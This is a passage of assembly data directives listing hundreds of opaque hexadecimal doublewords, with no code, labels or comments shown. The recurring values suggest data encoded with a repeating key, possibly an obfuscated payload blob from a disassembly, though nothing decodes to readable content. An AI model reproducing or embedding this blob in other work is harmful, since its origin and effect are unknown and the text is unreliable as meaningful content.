0DD763EFCh dd 46DB9DDFh, 96FA53DDh, 2B9B3D00h, 25534D7Ah, 0DACD52A0h dd 0EECDAE35h, 7333EA99h, 1FBF26E6h, 0A2CD4290h, 0D1CFEA29h dd 834EA09h, 0B831EA09h, 250B80EBh, 9A521344h, 87DB44BEh dd 6C321566h, 76ACC45Bh, 53B2824Eh, 0CD40BCAFh, 256844A0h dd 3D7790EDh, 71521344h, 0E952FBECh, 29897307h, 0E2B7745Dh dd 116D9069h, 9ADB1566h, 0F1321566h, 0BDAE6AE5h, 15E54805h dd 0B56F5494h, 4AB0852h, 2BB7D32Bh, 56343755h, 2FE07D9Ah dd 0BBCAC1FCh, 145CD3h, 19B31A60h, 87321566h, 443217E3h dd 0AF537566h, 344FABE3h, 8820FC60h, 1BB31566h, 561AFEBFh dd 0A0345E97h, 426EA01Ah, 9FD1F28Eh, 2D52C599h, 4861EFD9h dd 0E8CC7D07h, 50BB1566h, 953D7542h, 0F6B246BEh, 77534EC5h dd 48BA1AB6h, 0CB321566h, 11321561h, 0A357EF93h, 24FA571Fh dd 9954CFECh, 9453A8EFh, 97B71AA6h, 24321567h, 2B26B2D8h dd 0C6EF9572h, 0E9B79E07h, 4B34377Eh, 223210E2h, 9A547566h dd 48B77494h, 44889069h, 0CB521566h, 1132156Ch, 0E4955F45h dd 607F297Ch, 36DA8161h, 0BD321566h, 72AFD143h, 104A811Bh dd 0C5AE7274h, 7845CE01h, 6124D649h, 44321560h, 3FBB533Ch dd 706CA0FAh, 0BB3B90A0h, 4B7E1344h, 223219E6h, 17B91A66h dd 87321566h, 443215E3h, 3EDB7D66h, 9152CCBCh, 0E9CE6F8Fh dd 627BA099h, 0A3521344h, 0AB5A0BCh, 883DFD2Fh, 0F8CB1566h dd 22E09CE3h, 3F405D42h, 7C8E87ACh, 44B21A62h, 7B321566h dd 0AFB79807h, 7034301Bh, 4B52C599h, 2ADBDCD9h, 0B0321566h dd 345C916Fh, 25698556h, 22249E69h, 963D1566h, 88321576h dd 44321E8Fh, 1C7CFF66h, 7669E376h, 346566A9h, 0C5D59C31h dd 223211A1h, 15DD9666h, 0D41629E1h, 0BD1601EFh, 4252C599h dd 0AFBC2E7h, 3F535B96h, 84B774F5h, 222A9069h, 0F8C71566h dd 88321582h, 4432188Fh, 665FBD66h, 55AD720Dh, 8B7CBC7Bh dd 0C1BBF03Fh, 241BB18Dh, 19B91A93h, 87321566h, 443217EAh dd 70537566h, 0D3B3F7EFh, 88321562h, 0C336FFE5h, 0AB6E3172h dd 943D3162h, 88321575h, 44321B8Fh, 47675F66h, 24DE135Ah dd 8D06B09Ch, 2CDAF5E6h, 22324200h, 711621EFh, 553D0ECh dd 61A489E3h, 76857560h, 0D7B0AE00h, 0E8E2EA07h, 8E19406h dd 2D470FC6h, 113215EAh, 3547466h, 8439749Fh, 22729069h dd 973D1566h, 88321578h, 442A9969h, 31DB1566h, 0A3321566h dd 7F455C2Dh, 0DBD3954h, 2FE90085h, 5E1916A6h, 0B9DB105Fh dd 24321566h, 22389F69h dd 14DB1566h, 0E1321566h, 5C3D39D4h, 11F29400h, 55BB749Bh dd 33D0942h, 44321576h, 22389269h, 14DB1566h, 0BD321566h dd 0B9A63510h, 35BD1A07h, 1E321566h, 883204E2h, 443EFC66h dd 41F41566h, 9A41D69Ch, 0FF7DDC56h, 24F1E54Bh, 2232048Fh dd 7B324D66h, 0B600BCEFh, 61FEFFCAh, 0D575DBC2h, 715358E4h dd 873BF4E6h, 443216E6h, 0D9B97366h, 5DB7507h, 0A7321566h dd 0EFD6E20Fh, 5C92CB0Ah, 10E7F20Ch, 9076853h, 0CFCB78C1h dd 0B96FEEBh, 1126FC60h, 53CA1566h, 708D460h, 6B8B1DA4h dd 2923ED03h, 0B4FC1E36h, 0DE5A09C7h, 0AB321544h, 1CDB3162h dd 0D1321566h, 8354694Ah, 0FBA72BABh, 0CD7D047h, 45BB4030h dd 0CD6FFBEFh, 70C74B96h, 113229DCh, 8BF01466h, 60269E64h dd 2236D1E7h, 71521566h, 60534B34h, 4432156Dh, 3957FF11h dd 5E8CF341h, 8859574h, 256A67ABh, 22BAA599h, 15B31566h dd 0FF27C642h, 0FD634F6Ah, 2E4500B5h, 0F86BDF4Fh, 8832156Fh dd 87935855h, 0C85D706h, 0D8A79CD3h, 87343768h, 443214EFh dd 0CEB3E966h, 11321562h, 361621EFh, 4432159Eh, 0CB6CE567h dd 1132156Eh, 98B44F37h, 5C0C1388h, 22249969h, 0DB1566h dd 0E7321566h, 0A47ECB3h, 329443F1h, 13F12EA8h, 96A05935h dd 133E6599h, 3234F7D9h, 354E1442h, 9684A62h, 5434F78Ch dd 0AD3D7542h, 11321565h, 70FAAA69h, 0E5A79C07h, 0CB343747h dd 11321577h, 0AFFBCDC4h, 3B7D5492h, 0FFA803AEh, 4F013A3Fh dd 0AC369E89h, 0C5D79C33h, 223211A3h, 15F79466h, 0F321566h dd 4B6E314Ah, 223214E7h, 65CDED66h, 8CB93142h, 40F69642h dd 2232198Fh, 0D2A47066h, 9BFA4709h, 0AB1D50B3h, 223DFC99h dd 9AD31566h, 24A73618h, 66E49F6Dh, 0F6E7B5BDh, 5A9C102Dh dd 401B7743h, 2ABCAC37h, 0CBB34704h, 0E10F3786h, 746BDD4Fh dd 0E5B72E9Fh, 2D343747h, 113248E4h, 33547566h, 42DA8C8Dh dd 8F321566h, 5D94EF7Ah, 5F851A71h, 0C109743Dh, 24101BAFh dd 110E9669h, 8FDB1566h, 3B321566h, 29ADE113h, 1E5324B9h dd 88321DE8h, 46B11A66h, 42321566h, 1136D707h, 73B97306h dd 4432018Fh, 460F9866h, 3A9064E9h, 60A04B0Ah, 88827339h dd 7FD07F6Dh, 1E5374E6h, 88320CE2h, 4426FC66h, 77A41566h dd 0AE1C74BFh, 4235BF10h, 61D0F7C7h, 0CA2A209Ch, 15F51D43h dd 961A3A42h, 1B89464Bh, 237BF11Eh, 4A36313Ah, 7F1631B7h dd 70B3317Ah, 0D88CF142h, 9F3DE077h, 8832157Eh, 4432068Fh dd 48890D66h, 0D42A9D14h, 6696D0C0h, 68152434h, 696BE4D4h dd 151651A1h, 0B66A0FD3h, 401661E7h, 34F153BCh, 151651E7h dd 7A480190h, 401679E7h, 39276403h, 11321C8Fh, 5E905F66h dd 28D1BFACh, 9F673450h, 6C015E4Ah, 0DF1FE0E7h, 0B1B30DA5h dd 4F330BF1h, 0F4F3C891h, 9EFE260h, 4979093h, 0A9DA9C5Ah dd 0D5B3314Ah, 88321562h, 442B9F69h, 36DB1566h, 0B2321566h dd 2F241A6Ch, 0C0720F8Eh, 0BE7725D1h, 0EF5F3F3Bh, 5322705h dd 6662A4EBh, 223BFC60h, 7951566h, 1E7A3DA9h, 0BB69450Eh dd 2226FC87h, 9A191566h, 0AA76CB8Eh, 0B886A17h, 0D1BA4638h dd 0ABAAC0EAh, 0E8527034h, 4432128Eh, 9D37A866h, 85C01C61h dd 0E35AFBE7h, 22695D75h, 435D38DDh, 9836F9E5h, 88883172h dd 45321566h, 78309F94h, 11339C69h, 0B4CB1566h, 7BB61A8Fh dd 2D321567h, 11321DE6h, 8AB71A66h, 24321566h, 2DDA2907h dd 11335CE2h, 84BF1A66h, 4B321566h, 223213E4h, 11BE1A66h dd 0B4321566h, 7BB61A69h, 0CB321566h, 1132156Ch, 2D3B0591h dd 22BE1B27h, 0EF0E2BF1h, 10BE9169h, 0B4C71566h, 0EEB61A8Dh dd 0CB321567h, 11321560h, 39FF75D2h, 2453DC9Fh, 0C8B24C30h dd 9A52746Eh, 87F174B5h, 443214EEh, 685AE966h, 9832154Ah dd 898B316Ah, 45321566h, 7B2B9F97h, 10B21A9Fh, 70321566h dd 0C43BA037h, 0EFCCAEA3h, 0FCE2C090h, 769CD0E6h, 7FC795ABh dd 2D6BFE46h, 11321FE1h, 8837FC66h, 4C341566h, 0A2ED107Bh dd 943D959Dh, 77CDEAC4h, 443D9869h, 28DB1566h, 1321566h dd 844E27C1h, 0F1124824h, 3EB943FEh, 15F69642h, 0F300AD06h dd 6B817B73h, 9B63ED07h, 11321560h, 9280D6E7h, 8F336818h dd 3880FEE7h, 0F86B6818h, 8832156Ch, 0FA20409Fh, 0BE4782A5h dd 1D5ABCCBh, 132156Fh, 468B316Ah, 23321566h, 482B1697h dd 88249869h, 22521566h, 3B47DFE7h, 11321C8Eh, 0F5525166h dd 3618F594h, 436CF52Eh, 11329E8Fh, 44B27566h, 6F8A7391h dd 54CD74FEh, 352E9E67h, 0E836D1E5h, 44E59431h, 7D1AD0CDh dd 0ED5303D0h, 87C9EEE5h, 4432CCE2h, 0A364E966h, 6F973162h dd 94B90DF3h, 40F69442h, 0A3321566h, 844CB08Dh, 8826FC7Eh dd 7D141566h, 742499F8h, 82901C31h, 9DDEF3E3h, 89685BE8h dd 9A628BF5h, 11321567h, 9031E567h, 0C71611EDh, 73CE11A2h dd 113210DFh, 3F91466h, 80B1316Ah, 223CFC62h, 84401566h dd 0CB84C4A3h, 606A5578h, 6C1F0806h, 0EECC808Fh, 6DB27599h dd 97B347A5h, 26EC311Ah, 0A73D7439h, 0EE521438h, 0BFB9EEEDh dd 0CD99607h, 0EF469169h, 61CEEA99h, 4432152Ch, 71D49406h dd 7706E681h, 0B832D6E7h, 454C9507h, 75B71A98h, 1ECDEA98h dd 88320CE7h, 4426FC66h, 0B5061566h, 0BC46E18Ah, 0EEBAE517h dd 59A09FDh, 0D87A095Dh, 7752301Ch, 0E83769DEh, 4432108Fh dd 4B51D66h, 70529C27h, 0FDB7407h, 0BDCDEA9Ah, 0A3D09C34h dd 113211A4h, 8CD89666h, 181601E1h, 0DE1621EFh, 1136F9E7h dd 84BB1566h, 0FB3D7542h, 223AFC97h, 0A1BB1566h, 89B9770Fh dd 1253C975h, 0E4B3F3EFh, 11321562h, 8836FBE7h, 70B51566h dd 3EBB4942h, 1DB41A42h, 0E8321566h, 6B2A39DCh, 7A45AC4Dh dd 795300E9h, 8832766Fh, 4B1629EFh, 223214EFh, 0D103E066h dd 8832048Fh, 1FCC0066h, 0A7927E89h, 94EABF3h, 34AD1AEFh dd 0AD9E2715h, 2232156Dh, 0EEE55BD3h, 0D832AB37h, 15318905h dd 0E9BAD4EEh, 921619EDh, 73D11A2h, 44321567h, 20DE949Ah dd 77321566h, 3D1619EFh, 22D93596h, 25B51A3Fh, 1E321566h dd 883214E6h, 0BFB2ED66h, 0E8B61A16h, 0E4321563h, 0C3D1A5Ah dd 4432158Eh, 24DAE906h, 7F321566h, 74034C81h, 44B21A02h dd 7B321566h, 1EDB2907h, 88396CE2h, 4437FC66h, 0C8A01566h dd 2D637454h, 7DB61A8Dh, 4B321568h, 223214EFh, 0F20EED66h dd 8B489169h, 0BDCE1566h, 0A63DF75Ah, 11320559h, 8832058Fh dd 0B60B9766h, 0E881F02h, 6C06C8B1h, 5E652818h, 600E9E53h dd 0A3D09C34h, 113211A4h, 8CF09466h, 0C3321566h, 2D6E3172h dd 113201E8h, 86B41A66h, 0AD321566h, 2232156Fh, 4DE0D855h dd 7AB06FBFh, 6006EA79h, 26F6943Dh, 0F8321566h, 8832156Fh dd 9D80F1C6h, 0CBCA9826h, 353E9ED2h, 9D59C31h, 443211A1h dd 26F59666h, 4D1629E1h, 88389369h, 4B521566h, 223215E1h dd 70BDA766h, 0D6162199h, 0BD36D1E5h, 2220FCA5h, 9A7D1566h dd 92DFC21Ah, 0DE828F5h, 797F0826h, 69D54232h, 2D8990A1h dd 4434134Fh, 2D521566h, 113210EBh, 0E95DAA66h, 25CA144Ch dd 2232AF34h, 0E3331566h, 9CB90FECh, 40F69442h, 2D321566h dd 11321EEBh, 8834FC66h, 97561566h, 9807B919h, 114E480Eh dd 0AC3E9C66h, 99C41BD3h, 0A247F0E6h, 0FA12958Bh, 8820FC3Fh dd 366E1566h, 0F4CAD1DCh dd 0F20FA7A6h, 68F5760Fh, 2C81BECFh, 2DB2EEE6h, 0EECD11E3h dd 883EFC99h, 0D7831566h, 9447C4E4h, 85951769h, 3361CD5Ch dd 0BBCDEA99h, 0D769CB67h, 16EF90EDh, 61521344h, 44321560h dd 0C15CA0A0h, 9D807076h, 89B81A07h, 0B1321566h, 347F80EDh dd 1CDB1344h, 0A1321566h, 0E4D1AB54h, 0C12264ABh, 915FD974h dd 1C29C36h, 60369EA5h, 2236D1E7h, 0A3521566h, 438D1AE4h dd 428A4507h, 23321566h, 35369EA5h, 8836D1E7h, 0CC3D1566h dd 22321579h, 2CC09506h, 8832018Eh, 58F60B66h, 0F6519D05h dd 0B2AB2B0Fh, 4F2F572Ah, 2C4B74ACh, 72534FDBh, 113217DEh dd 0FBD61066h, 0B4330369h, 2D41F14Bh, 492A1670h, 0F3D7506h dd 44321566h, 5E19400h, 0D9B97484h, 5009E907h, 440D9769h dd 0CA521566h, 1132156Ch, 0D7CE07D5h, 0DEDF424Ch, 0E0B37E24h dd 79B1BB5Bh, 52097438h, 0BA299369h, 4452EA99h, 82C6C3E7h dd 8832068Fh, 0D5C36F66h, 3BFD9847h, 0E4F02B16h, 7E9511CCh dd 6C498016h, 29D99407h, 38751E49h, 838B449Dh, 45751E49h dd 2D524CADh, 0FC8DD7D9h, 0E9462D13h, 335A4634h, 7967B275h dd 243FEE7h, 52BB40C1h, 1EE13C3Dh, 429F739Fh, 0FDF09400h dd 49B9731Fh, 24997307h, 43F59F9Fh, 0D203CD57h, 53DCD57h dd 44321575h, 22321B8Fh, 0A5F4BB66h, 77A1A9D9h, 0C0A97B5Bh dd 89E9B1C6h, 11321F8Fh, 0FB9E2866h, 198830C4h, 0A17E258Eh dd 1DBB118Ah, 8836AC42h, 8A331566h, 28DB753Fh, 0C321566h dd 0B7CF08D6h, 82EDFF57h, 27B81A4Dh, 0AA321566h, 0FCB11F22h dd 54B81A07h, 42321566h, 17DA4F34h, 8321566h, 0E4E3323Ah dd 0AB534CCDh, 913D315Ah, 8832156Eh, 1A8C7306h, 435375E3h dd 1D1661EFh, 95879C9Fh, 4B34377Dh, 223214E3h, 9E3DE966h dd 8832156Dh, 4432138Fh, 0E6C6E966h, 0EE8159E4h, 0B6D3152h dd 0BC5211A2h, 2232138Fh, 8B67A466h, 0E9B5643Ch, 1F162199h dd 0D736D1E5h, 471619EDh, 4EB3F3EFh, 44321562h, 2236D3E7h dd 25B51566h, 63D4942h, 44321567h, 606EA9Eh, 15F69638h dd 6EBB4393h, 71B6AF34h, 0C0F312BAh, 95F09463h, 89366C29h dd 82B14FB0h, 6069262h, 0A63D753Ah, 8AB71ABFh, 0CE321566h dd 22DB7487h, 0EDCDEAB9h, 2D8990A1h, 4430134Fh, 0AE3D1566h dd 11321577h, 88399969h, 42DB1566h, 23321566h, 14CC225Fh dd 85B07D14h, 70BB1566h, 0AD3D4E42h, 11321571h, 883CFC06h dd 2A051566h, 3371CAABh, 69127FB7h, 0AE36DE36h, 4B537406h dd 2CDB1BD0h, 0F2321566h, 30286513h, 8D49C123h, 17083E76h dd 91CB953Eh, 886B9669h, 0C5CA1566h, 0A16BB5A5h, 44F91411h dd 0B6BB5DBh, 19D93C11h, 22219869h, 1FDB1566h, 45321566h dd 0A725CDE6h, 267D55EDh, 1F9BC8CCh, 778D42C2h, 6DCDEA99h dd 0CB524A9Dh, 1132156Dh, 0D9292A21h, 2D5F02E4h, 0CBAAB663h dd 1132156Eh, 0FA0B1787h, 10CB67D3h, 2292FC07h, 41CE1566h dd 50C40CD6h, 0A4E2144Ah, 0FAC4DD98h, 0D01ADF62h, 6EB2753Eh dd 0A08B7346h, 0D5637419h, 1DB9317Ah, 8CF69442h, 4B321566h dd 22321FE9h, 1137FC66h, 8AD61566h, 4B71BD38h, 223201EBh dd 113DFC66h, 35E31566h, 0E8CCB9B4h, 4F24C0CCh, 0F0B6AF54h dd 778D42DBh, 65321566h, 60E9E9Fh, 1E36D1E5h, 883205EBh dd 42DB7566h, 82321566h, 1483B48Dh, 41851A5Dh, 0C4D99407h dd 0B340B29h, 918A45ADh, 89340B29h, 0C63D4DA5h, 22321574h dd 113BFC06h, 0AF8F1566h, 82CEDE0Eh, 93CA5D9Ch, 94B9742Eh dd 8E1012BBh, 44269569h, 2DDB1566h, 0C4321566h, 0C0F72720h dd 363065EBh, 807AE1B6h, 84B9EEBAh, 8E10032Bh, 8B8D1A06h dd 2232058Fh, 0EF8F1066h, 0A0FE6A55h, 0C9ADB339h, 7346DD8Bh dd 9B5274A3h, 6DE994A4h, 256CF658h, 241FA8E5h, 1E331344h dd 8836D7E2h, 45B81A66h, 0DA321566h, 933DD65Fh, 883211D5h dd 44369B69h, 0A9521566h, 9E3D74B9h, 8832157Fh, 443DFD06h dd 5AAE1566h, 77290B6Ah, 0D503FD82h, 109CF20Bh, 43524DDEh dd 1EE12C07h, 77C8A5E4h, 38DBED99h, 0CB321562h, 1132156Fh dd 3D64C18Ch, 0F2FC3018h, 99B7D234h, 13343CC3h, 0E8321566h dd 44349969h, 0A33D1566h, 11321566h, 89BC1A07h, 0BD321566h dd 0AB36F9E5h, 25B33152h, 0F214B642h, 0B7B34E4Ch, 84833C5h dd 11321A8Fh, 51359A66h, 0BF1A8DA5h, 1EFB1A85h, 1B3144ECh dd 0E83CA369h, 30EC9400h, 24B11A8Ch, 90321566h, 80273585h dd 0BDB27459h, 0A4B11AE6h, 0ED321566h, 0CB42D6E7h, 0AFB33DF8h dd 0A0D0636h, 0D2B3DE67h, 0A00D0636h, 742FEE7h, 0CB523DF8h dd 1132156Eh, 8ED171B7h, 0E010BC7Fh, 2232108Fh, 0F2E5D766h dd 0DF53BCADh, 8D4851D9h, 39D59419h, 90602359h, 77F7EA91h dd 1BC93CCBh, 0A93D7506h, 11321566h, 8834FC07h, 4AEA1566h dd 0A34DCB43h, 113DFC07h, 0C0121566h, 7EACEA78h, 648EF14Ch dd 0D44F10EDh, 8840FC6Fh, 4EDB1566h, 1A321566h, 17B9F82h dd 2640DDCDh, 0A285469Fh, 0EDCCC290h, 0D1C9A037h, 65F21683h dd 0FCDF9564h, 0A91F8E6h, 0FEB24C89h, 0B8C59508h, 0B169EC4Eh dd 0E3B3C491h, 11321567h, 56B97306h, 25F9AA69h, 223A740Eh dd 351E9C66h, 8832EADBh, 19DB3466h, 22321C8Fh, 0B5994966h dd 0EC3C7C62h, 87B3C540h, 6C7047Ch, 0A962DE4Fh, 0ACC7047Ch dd 0B86AD64Fh, 25EF90EDh, 1E521344h, 883202EEh, 4420FC66h dd 72041566h, 988368FFh, 74B4EB20h, 0C4F4E715h, 0EBFEDBBDh dd 11339F69h, 0E9CE1566h, 44389A69h, 2D521566h, 113215E7h dd 0E9F7A166h, 527F80EDh, 0A1C71344h, 333438DBh, 0C3D1460h dd 443217A9h, 223E9269h, 16DB1566h, 79321566h, 5C526C4Fh dd 0A83DCE4Bh, 11321575h, 88321B8Fh, 3A7F166h, 3E1122A2h dd 0B95902F6h, 0B3118BA0h, 51B01ABEh, 0CB321566h, 11321561h dd 698029F7h, 7D273345h, 94B41AB5h, 0E8CDEA9Eh, 8833AC37h dd 8A1B1566h, 4460753Fh, 0F674C3E7h, 4408AF3Fh, 17537A12h dd 166CA536h, 49F59D37h, 0E869EDEEh, 44369569h, 9C541566h dd 1FDBBA46h, 99321566h, 2B025489h, 0DE5EB1Fh, 71815647h dd 875274B4h, 91B2E7D1h, 429874B9h, 0ABE59E00h, 93248B30h dd 448A4507h, 23321566h, 11894696h, 89321566h, 1F399FA5h dd 9854753Eh, 90543122h, 0E92BDC94h, 44321A8Fh, 0FD82FA66h dd 998FC26Ah, 0ED4925EBh, 8DE476E4h, 906099D6h, 1CF0953Ah dd 0AC68C54Eh, 842B39E7h, 0A21E1086h, 1132058Fh, 0BE22266h dd 0D081020Eh, 5EA4E160h, 653297D6h, 84B61A0Fh, 0AD321566h dd 22321561h, 0B05BB4D5h, 0DAE94BA1h, 95121AD4h, 0A11601EDh dd 17DB11A2h, 0B2321566h, 0DD5DC515h, 2223FCE4h, 99CF1566h dd 23620D2Bh, 48C4CEEEh, 9F92E63Ah, 190C244Dh, 8822FCAEh dd 32491566h, 0B5CE1FB8h, 6AF2C022h, 0C8F9B933h, 49DB08E9h dd 0F6321566h, 9CB1368Ah, 13FA7FEFh, 2CD215C8h, 29B91ACCh dd 0F8321566h, 88321560h, 65078847h, 0E1B343EFh, 23D932A7h dd 0C7F4FEE7h, 0BF1B6F02h, 6DF4D6E7h, 0FAB36F02h, 0BAD932A7h dd 443EFC06h, 0EF3D1566h, 0D7D26B90h, 856ED360h, 0FD54744Dh dd 0A153E1B5h, 3DBB118Ah, 8836A842h, 0AF1B1566h, 28B01A3Bh dd 0F8321566h, 88321563h, 0F17C5600h, 13EA2400h, 0F8EA24A5h dd 88321576h, 0DA9620B8h, 441E2E57h, 1D0F3051h, 0DD93724Bh dd 4421FCCDh, 12D61566h dd 2261026Eh, 5F7170C4h, 57DEF1FCh, 39EF697Fh, 0AC674659h dd 0C36213A6h, 562D0E7h, 0D5777D11h, 0FDDF94B3h, 17E2DD1h dd 9A33488Dh, 97BBEC3Dh, 17100E7Bh, 88321C8Fh, 6ECC1766h dd 40B41966h, 16DBBEB4h, 0C0321566h, 42BA0576h, 0A7F5C3C6h dd 1710134Bh, 88321567h, 44339C69h, 77CE1566h, 0D4B34832h dd 88321562h, 0C336D0E5h, 0DE6E314Ah, 461609EDh, 4FB3F2EFh dd 44321562h, 0A536D2E5h, 0F86E315Ah, 8832156Fh, 11180096h dd 94EEBA23h, 353E9E06h, 9D79C33h, 443211A3h, 26F79666h dd 4D1639E1h, 6DBB4093h, 4436D0E7h, 0E7B11566h, 351E2662h dd 0BB163957h, 0BC6E314Ah, 0A23D7506h, 11321566h, 0D853749Eh dd 0FF61F5EFh, 22321562h, 9269CD67h, 8CB511A6h, 0ADCA4942h dd 0DDCDCDF5h, 1132138Fh, 2ABF6766h, 14930E09h, 0DDCDEADEh dd 49F41499h, 328C7506h, 223443D9h, 27A3FCE7h, 13B91A07h dd 3C321566h, 0F56374D1h, 2208A528h, 70364CAEh, 88359369h dd 0CC3D1566h, 22321567h, 18DBBF9Eh, 0FC321566h, 10D596BBh dd 2B5ED9E5h, 11321F8Fh, 0BC148566h, 4C398F6Ah, 74BC208Eh dd 921611EDh, 80DB11A2h, 99321566h, 0AD41F21Eh, 46093270h dd 962317D9h, 1BCA1409h, 201FED4Fh, 715D0B77h, 88379369h dd 0FD881566h, 44049009h, 4653C5EDh, 1945F8D9h, 85755A49h dd 0EDB31D81h, 26A8139Dh, 4FB3C291h, 0F3CDE566h, 0CB6DED4Fh dd 11321568h, 2CC5BC52h, 144EA3B6h, 7AD89549h, 1E9966A8h dd 88320DE0h, 4421FC66h, 2E131566h, 0E40DB417h, 373AFDE3h dd 4ED59CC6h, 93BF0E3Dh, 496645DFh, 88321163h, 40F29666h dd 7E1611E1h, 11389769h, 87521566h, 289ECD1h, 43662932h dd 461609EDh, 4FB3F2EFh, 44321562h, 0A536D2E5h, 0F86E315Ah dd 8832156Fh, 5FA1ED11h, 0F6644023h, 3506EA94h, 8CF6963Fh dd 44339C69h, 0DDCE1566h, 926C3152h, 83D11A2h, 4432156Eh dd 0F0B37306h, 70CEF8BEh, 136F9E5h, 0A4BB3162h, 22321163h dd 15F29666h, 0D41611E1h, 4BEA9F06h, 223216EDh, 3FD99566h dd 521BFC07h, 2252EA99h, 0D3B2DFEDh, 94F57492h, 8E1BB0DDh dd 44321563h, 2238FC06h, 25521566h, 76CC7B70h, 31566668h dd 0C6C59400h, 79CB74F1h, 883215AAh, 0C51621EFh, 6B4B3162h dd 90692FABh, 457B6C8Dh, 0FC62ED5Ch, 22321562h, 15B9D667h dd 8CF69442h, 0BD321566h, 73894637h, 900F373Ch, 585151A5h dd 0FDC1944Eh, 6911EB13h, 0D919E6E7h, 51BB536Ah, 47C3143Dh dd 97524C7Fh, 0E7B373EAh, 3536C96h, 6635C8E3h, 42CE7560h dd 7053B2D2h, 9E7F80EDh, 4B521344h, 9D3DC5D1h, 0AA6174B4h dd 88321567h, 0AD69CB4Fh, 22321568h, 28B2E1CEh, 85C5CD06h dd 0E599D242h, 9FB1FB97h, 17101AA7h, 93B61A67h, 0BC321560h dd 0A03DCD5Dh, 1132156Ch, 87E82E9Fh, 443333E0h, 97BBE066h dd 17100E7Bh, 33AF9E9Eh, 0AD343CC3h, 2232156Ah, 0EFC811F9h dd 2BD1BAB4h, 0B95E3578h, 2E1679E7h, 3CA83085h, 84164967h dd 61D1AC37h, 6E3338FCh, 1E6B0542h, 88321DE4h, 46B81A66h dd 42321566h, 14F2FC07h, 3D1566h, 4432156Eh, 22309769h dd 70521566h, 0D81629EDh, 4037F5EFh, 27321566h, 11321562h dd 0D41611E1h, 44279069h, 32DB1566h, 0C5321566h, 2EDBEF47h dd 0B3B3F097h, 7177A6Ah, 1E430485h, 883214EBh, 0C1F5E966h dd 24101AA7h, 11321567h, 88339B69h, 0B1CE1566h, 741609EDh dd 0D7B3F3EFh, 88321562h, 0C336D3E5h, 2D6E3152h, 113219E8h dd 8EBC1A66h, 4B321566h, 223215EEh, 903D7566h, 88321565h dd 0CFFD9E00h, 16CD74A5h, 0D5B14C42h, 80BE1A62h, 4B321566h dd 223217E0h, 0E8537566h, 0DB1621EDh, 87B3F6EFh, 22321562h dd 9636D6E5h, 706E317Ah, 0C5684134h, 223211A4h, 15F09666h dd 0D41601E1h, 0C5F99F06h, 5552BD88h, 2DDB741Eh, 61CDEAB3h dd 44321561h, 14419588h, 92A65FB8h, 0AA3438DBh, 0C03D1460h dd 223211B0h, 0CCAF3E9Ah, 70343761h, 5F3B98EDh, 2ADB1344h dd 0C6321566h, 467EDA9Ch, 110C43D9h, 0FF0D5FDBh, 0D0EFE22Ch dd 7DB3178Bh, 0E73E64Eh, 236FFC67h, 14DB94BFh, 74551C25h dd 2ECBFCE7h, 0DB1B7100h, 0C2AF34h, 7AB3627Fh, 574D6E6Fh dd 4268C467h, 11379769h, 4E8D1566h, 2263476Ch, 7553C5EDh dd 296C7D34h, 968417Bh, 532DB88Ch, 21D8D468h, 0D221E7E7h dd 5FBB1DA6h, 1BCB3C3Ch, 0FB87449Fh, 425ED8E6h, 67E2F4D1h dd 6C56E2E6h, 0CABA4E9Bh, 0AE3D753Fh, 0C8A73A8h, 0EECB74C5h dd 22339969h, 41CB1566h, 887D040Eh, 603E9C66h, 0A53D4C3Eh dd 1132157Eh, 8823FC06h, 0F2191566h, 34971953h, 74A46A5Bh dd 2EC3FC59h, 2573D12Fh, 0A93DBE9Fh, 11321567h, 6EBB439Eh dd 1BAAE35h, 0F1C57A37h, 0FAF3CE91h, 1EF19465h, 0C54BB53Eh dd 0D616EE85h, 0D0F19418h, 89CB6A99h, 82B14EB8h, 6069262h dd 0DB9E03Ah, 6DBB4042h, 4436D0E7h, 0E7B11566h, 351E9262h dd 0A3DEC3Ah, 44321561h, 0C995AF06h, 9A534EB6h, 167316Ah dd 40F79483h, 0A3321566h, 113211A3h, 0AC1E9266h, 443DFC3Ah dd 90D21566h, 5959627Bh, 97960105h, 0FEE773CCh, 606EA0Bh dd 15F69638h, 8821FC9Ah, 0A92E1566h, 0D9193AE7h, 0E0D415E2h dd 0CCA82243h, 0A7747148h, 0C1BB46CEh, 1136D6E7h, 30621566h dd 44321562h, 0A56AD667h, 1E6E317Ah, 883214EBh, 0D0DBE966h dd 0D7CDEAB0h, 0B48990A1h, 8830134Fh, 4ADB1566h, 0D5321566h dd 11D6EBD2h, 9641FD60h, 577E7756h, 0AB61401Fh, 4AEF9C95h dd 616FFEEFh, 44321574h, 6EAE4BA8h, 3FAA8CE3h, 0AC706816h dd 0A0830B64h, 943DD2DBh, 19BE1A68h, 87321566h, 443217E5h dd 0A2537566h, 923D959Fh, 88321558h, 44321F8Fh, 34867A66h dd 0C7C8B988h, 0D9FA5C34h, 9F4C79DFh, 7BF93C7Ah, 0D2B3DE67h dd 94E96B0Ah, 458B449Eh, 23321566h, 0F8CA4CADh, 883215C5h dd 7DFB9406h, 0A3442016h, 0B57F61B5h, 0DA54742Ch, 0C4F1A136h dd 0C4BAD18Ah, 77C33D3Eh, 8820FC3Ch, 0DA261566h, 0B257BC7h dd 0CC626F71h, 0A10DB0E1h, 0B97079E9h, 223B9E69h, 0A6521566h dd 4052AE2Bh, 0B3531B87h, 23F394B7h, 0E8321566h, 0E78FAD36h dd 61722C38h, 0D6F02B5h, 4D34864Bh, 0D0F3344Fh, 4432138Fh dd 0D6E75566h, 90AEBB59h, 136398A5h, 15F93C32h, 0B96398DFh dd 48F93C32h, 88321A8Fh, 4ED80F66h, 41EF8126h, 9BD46EFDh dd 31AE5445h, 44321B8Fh, 0BFE63266h, 1DA83AACh, 0F513F4E6h dd 0CF72C7AFh, 35C8E3h, 16BC1A60h, 87321566h, 443214E2h dd 0B7B9EC66h, 1710032Bh, 88359A69h, 4B521566h, 4352D3D9h dd 0EA9EFC07h, 7152EA99h, 44369469h, 9D541566h, 0D653FC73h dd 0A197AEE3h, 44321760h, 2BDB7566h, 91321566h, 891E398Fh dd 2860A48h, 7963D4E7h, 1E5370E4h, 883214E8h, 0CD63E966h dd 7B694497h, 1132188Fh, 1F590166h, 9CEBCF8Bh, 0D6376560h dd 0A73DE809h, 8837FC68h, 4E551566h, 0A230DDBDh, 923D959Fh dd 8832150Fh, 4432018Fh, 1E20266h, 0FBD44EE1h, 0CBF9F8A8h dd 0A076DDBBh, 20F07880h, 0FDD994FAh, 894CD10Fh, 0A88C43ADh dd 234CD10Fh, 1CDB4B95h, 0CF321566h, 0A5ADFF17h, 0DA3B38E0h dd 0A275DFC3h, 77CDA833h, 0AF1BEA99h, 8DDBE03Bh, 71321566h dd 8832018Fh, 19C17266h, 65346CC1h, 